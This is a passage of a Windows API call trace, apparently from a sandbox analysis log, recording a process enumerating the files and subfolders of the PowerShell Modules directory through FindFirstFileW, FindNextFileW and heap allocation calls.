ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96f9693c, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96f9693c, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x332, dwReserved0=0x0, dwReserved1=0x0, cFileName="ShouldThrow.snippets.ps1xml", cAlternateFileName="")) returned 0 [0243.640] FindClose (in: hFindFile=0x33e4ca8 | out: hFindFile=0x33e4ca8) returned 1 [0243.641] GetProcessHeap () returned 0xc10000 [0243.641] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x39628a0 | out: hHeap=0xc10000) returned 1 [0243.641] FindNextFileW (in: hFindFile=0x33e4da8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb53e92f6, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a64f261, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Snippets", cAlternateFileName="")) returned 0 [0243.641] FindClose (in: hFindFile=0x33e4da8 | out: hFindFile=0x33e4da8) returned 1 [0243.642] GetProcessHeap () returned 0xc10000 [0243.642] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3438ff0 | out: hHeap=0xc10000) returned 1 [0243.643] FindNextFileW (in: hFindFile=0x33e4e68, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb529e7f3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a5b68c4, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="3.4.0", cAlternateFileName="34AE2D~1.0")) returned 0 [0243.643] FindClose (in: hFindFile=0x33e4e68 | out: hFindFile=0x33e4e68) returned 1 [0243.643] GetProcessHeap () returned 0xc10000 [0243.643] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x38f0050 | out: hHeap=0xc10000) returned 1 [0243.643] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5f1c8 | out: lpFindFileData=0x2e5f1c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb53eacff, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bfc901, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerShellGet", cAlternateFileName="POWERS~1")) returned 1 [0243.643] GetProcessHeap () returned 0xc10000 [0243.643] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x38f0050 [0243.643] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\*", lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb53eacff, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bfc901, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4ca8 [0243.644] FindNextFileW (in: hFindFile=0x33e4ca8, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb53eacff, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bfc901, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0243.644] FindNextFileW (in: hFindFile=0x33e4ca8, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb53ec4f8, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b2558c7, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1.0.0.1", cAlternateFileName="100~1.1")) returned 1 [0243.644] GetProcessHeap () returned 0xc10000 [0243.644] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3438ff0 [0243.645] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\*", lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb53ec4f8, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b2558c7, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4da8 [0243.653] FindNextFileW (in: hFindFile=0x33e4da8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb53ec4f8, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b2558c7, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0243.653] FindNextFileW (in: hFindFile=0x33e4da8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b2558c7, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xb53ed28c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b2558c7, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0243.653] GetProcessHeap () returned 0xc10000 [0243.653] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x39628a0 [0243.655] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\en-US\\*", lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b2558c7, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xb53ed28c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b2558c7, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4de8 [0243.656] FindNextFileW (in: hFindFile=0x33e4de8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b2558c7, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xb53ed28c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b2558c7, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0243.656] FindNextFileW (in: hFindFile=0x33e4de8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8b2558c7, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x884e2a3c, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x884e2a3c, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x129b4, dwReserved0=0x0, dwReserved1=0x0, cFileName="PSGet.Resource.psd1", cAlternateFileName="PSGETR~1.PSD")) returned 1 [0243.656] FindNextFileW (in: hFindFile=0x33e4de8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8b2558c7, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x884e2a3c, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x884e2a3c, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x129b4, dwReserved0=0x0, dwReserved1=0x0, cFileName="PSGet.Resource.psd1", cAlternateFileName="PSGETR~1.PSD")) returned 0 [0243.656] FindClose (in: hFindFile=0x33e4de8 | out: hFindFile=0x33e4de8) returned 1 [0243.656] GetProcessHeap () returned 0xc10000 [0243.657] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x39628a0 | out: hHeap=0xc10000) returned 1 [0243.657] FindNextFileW (in: hFindFile=0x33e4da8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a64f261, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc5dec600, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0xc5dec600, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xadf, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerShellGet.psd1", cAlternateFileName="POWERS~1.PSD")) returned 1 [0243.657] FindNextFileW (in: hFindFile=0x33e4da8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a64f261, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc5dec600, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0xc5dec600, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x203b, dwReserved0=0x0, dwReserved1=0x0, cFileName="PSGet.Format.ps1xml", cAlternateFileName="PSGETF~1.PS1")) returned 1 [0243.657] FindNextFileW (in: hFindFile=0x33e4da8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a64f261, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc5dec600, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0xc5dec600, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x13872, dwReserved0=0x0, dwReserved1=0x0, cFileName="PSGet.Resource.psd1", cAlternateFileName="PSGETR~1.PSD")) returned 1 [0243.657] FindNextFileW (in: hFindFile=0x33e4da8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a64f261, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc5dec600, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0xc5dec600, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x8ec1f, dwReserved0=0x0, dwReserved1=0x0, cFileName="PSModule.psm1", cAlternateFileName="PSMODU~1.PSM")) returned 1 [0243.657] FindNextFileW (in: hFindFile=0x33e4da8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a64f261, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc5dec600, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0xc5dec600, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x8ec1f, dwReserved0=0x0, dwReserved1=0x0, cFileName="PSModule.psm1", cAlternateFileName="PSMODU~1.PSM")) returned 0 [0243.657] FindClose (in: hFindFile=0x33e4da8 | out: hFindFile=0x33e4da8) returned 1 [0243.658] GetProcessHeap () returned 0xc10000 [0243.658] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3438ff0 | out: hHeap=0xc10000) returned 1 [0243.658] FindNextFileW (in: hFindFile=0x33e4ca8, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb53ec4f8, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b2558c7, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1.0.0.1", cAlternateFileName="100~1.1")) returned 0 [0243.658] FindClose (in: hFindFile=0x33e4ca8 | out: hFindFile=0x33e4ca8) returned 1 [0243.662] GetProcessHeap () returned 0xc10000 [0243.662] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x38f0050 | out: hHeap=0xc10000) returned 1 [0243.662] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5f1c8 | out: lpFindFileData=0x2e5f1c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x4631b23a, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x4631b23a, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PSReadline", cAlternateFileName="PSREAD~1")) returned 1 [0243.662] GetProcessHeap () returned 0xc10000 [0243.662] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x38f0050 [0243.662] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\WindowsPowerShell\\Modules\\PSReadline\\*", lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x4631b23a, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x4631b23a, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4ca8 [0243.663] FindNextFileW (in: hFindFile=0x33e4ca8, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x4631b23a, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x4631b23a, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0243.663] FindNextFileW (in: hFindFile=0x33e4ca8, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xc6d7de, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xb5477959, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xfff2ff0e, ftLastWriteTime.dwHighDateTime=0x1d1a04a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1.1", cAlternateFileName="")) returned 1 [0243.663] GetProcessHeap () returned 0xc10000 [0243.663] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3438ff0 [0243.663] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\WindowsPowerShell\\Modules\\PSReadline\\1.1\\*", lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xc6d7de, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xb5477959, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xfff2ff0e, ftLastWriteTime.dwHighDateTime=0x1d1a04a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e47e8 [0243.893] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xc6d7de, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xb5477959, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xfff2ff0e, ftLastWriteTime.dwHighDateTime=0x1d1a04a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0243.893] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfff2ff0e, ftCreationTime.dwHighDateTime=0x1d1a04a, ftLastAccessTime.dwLowDateTime=0xb5478c6e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xfff2ff0e, ftLastWriteTime.dwHighDateTime=0x1d1a04a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en", cAlternateFileName="")) returned 1 [0243.893] GetProcessHeap () returned 0xc10000 [0243.893] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x39628a0 [0243.893] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\WindowsPowerShell\\Modules\\PSReadline\\1.1\\en\\*", lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfff2ff0e, ftCreationTime.dwHighDateTime=0x1d1a04a, ftLastAccessTime.dwLowDateTime=0xb5478c6e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xfff2ff0e, ftLastWriteTime.dwHighDateTime=0x1d1a04a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4928 [0243.894] FindNextFileW (in: hFindFile=0x33e4928, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfff2ff0e, ftCreationTime.dwHighDateTime=0x1d1a04a, ftLastAccessTime.dwLowDateTime=0xb5478c6e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xfff2ff0e, ftLastWriteTime.dwHighDateTime=0x1d1a04a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0243.895] FindNextFileW (in: hFindFile=0x33e4928, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfff2ff0e, ftCreationTime.dwHighDateTime=0x1d1a04a, ftLastAccessTime.dwLowDateTime=0xfb6a7fd7, ftLastAccessTime.dwHighDateTime=0x1d1a04a, ftLastWriteTime.dwLowDateTime=0xfb6a7fd7, ftLastWriteTime.dwHighDateTime=0x1d1a04a, nFileSizeHigh=0x0, nFileSizeLow=0x4200, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PowerShell.PSReadline.Resources.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0243.895] FindNextFileW (in: hFindFile=0x33e4928, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfff2ff0e, ftCreationTime.dwHighDateTime=0x1d1a04a, ftLastAccessTime.dwLowDateTime=0xfb6a7fd7, ftLastAccessTime.dwHighDateTime=0x1d1a04a, ftLastWriteTime.dwLowDateTime=0xfb6a7fd7, ftLastWriteTime.dwHighDateTime=0x1d1a04a, nFileSizeHigh=0x0, nFileSizeLow=0x4200, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PowerShell.PSReadline.Resources.dll", cAlternateFileName="MICROS~1.DLL")) returned 0 [0243.895] FindClose (in: hFindFile=0x33e4928 | out: hFindFile=0x33e4928) returned 1 [0243.895] GetProcessHeap () returned 0xc10000 [0243.895] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x39628a0 | out: hHeap=0xc10000) returned 1 [0243.895] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x32b93ba, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x97199283, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x97199283, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x25200, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PowerShell.PSReadline.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0243.896] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x32b93ba, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x97199283, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x97199283, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x2e1, dwReserved0=0x0, dwReserved1=0x0, cFileName="PSReadline.psd1", cAlternateFileName="PSREAD~1.PSD")) returned 1 [0243.896] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x32b93ba, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x97199283, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x97199283, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0xb4, dwReserved0=0x0, dwReserved1=0x0, cFileName="PSReadline.psm1", cAlternateFileName="PSREAD~1.PSM")) returned 1 [0243.896] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x32b93ba, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x97199283, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x97199283, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0xb4, dwReserved0=0x0, dwReserved1=0x0, cFileName="PSReadline.psm1", cAlternateFileName="PSREAD~1.PSM")) returned 0 [0243.896] FindClose (in: hFindFile=0x33e47e8 | out: hFindFile=0x33e47e8) returned 1 [0243.896] GetProcessHeap () returned 0xc10000 [0243.896] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3438ff0 | out: hHeap=0xc10000) returned 1 [0243.896] FindNextFileW (in: hFindFile=0x33e4ca8, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb54d73e5, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b2558c7, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1.2", cAlternateFileName="")) returned 1 [0243.896] GetProcessHeap () returned 0xc10000 [0243.896] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3438ff0 [0243.896] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\WindowsPowerShell\\Modules\\PSReadline\\1.2\\*", lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb54d73e5, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b2558c7, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4928 [0243.935] FindNextFileW (in: hFindFile=0x33e4928, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb54d73e5, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b2558c7, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0243.938] FindNextFileW (in: hFindFile=0x33e4928, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b2558c7, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xb54d81cc, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b2558c7, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en", cAlternateFileName="")) returned 1 [0243.938] GetProcessHeap () returned 0xc10000 [0243.938] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x39628a0 [0243.938] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\WindowsPowerShell\\Modules\\PSReadline\\1.2\\en\\*", lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b2558c7, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xb54d81cc, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b2558c7, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, 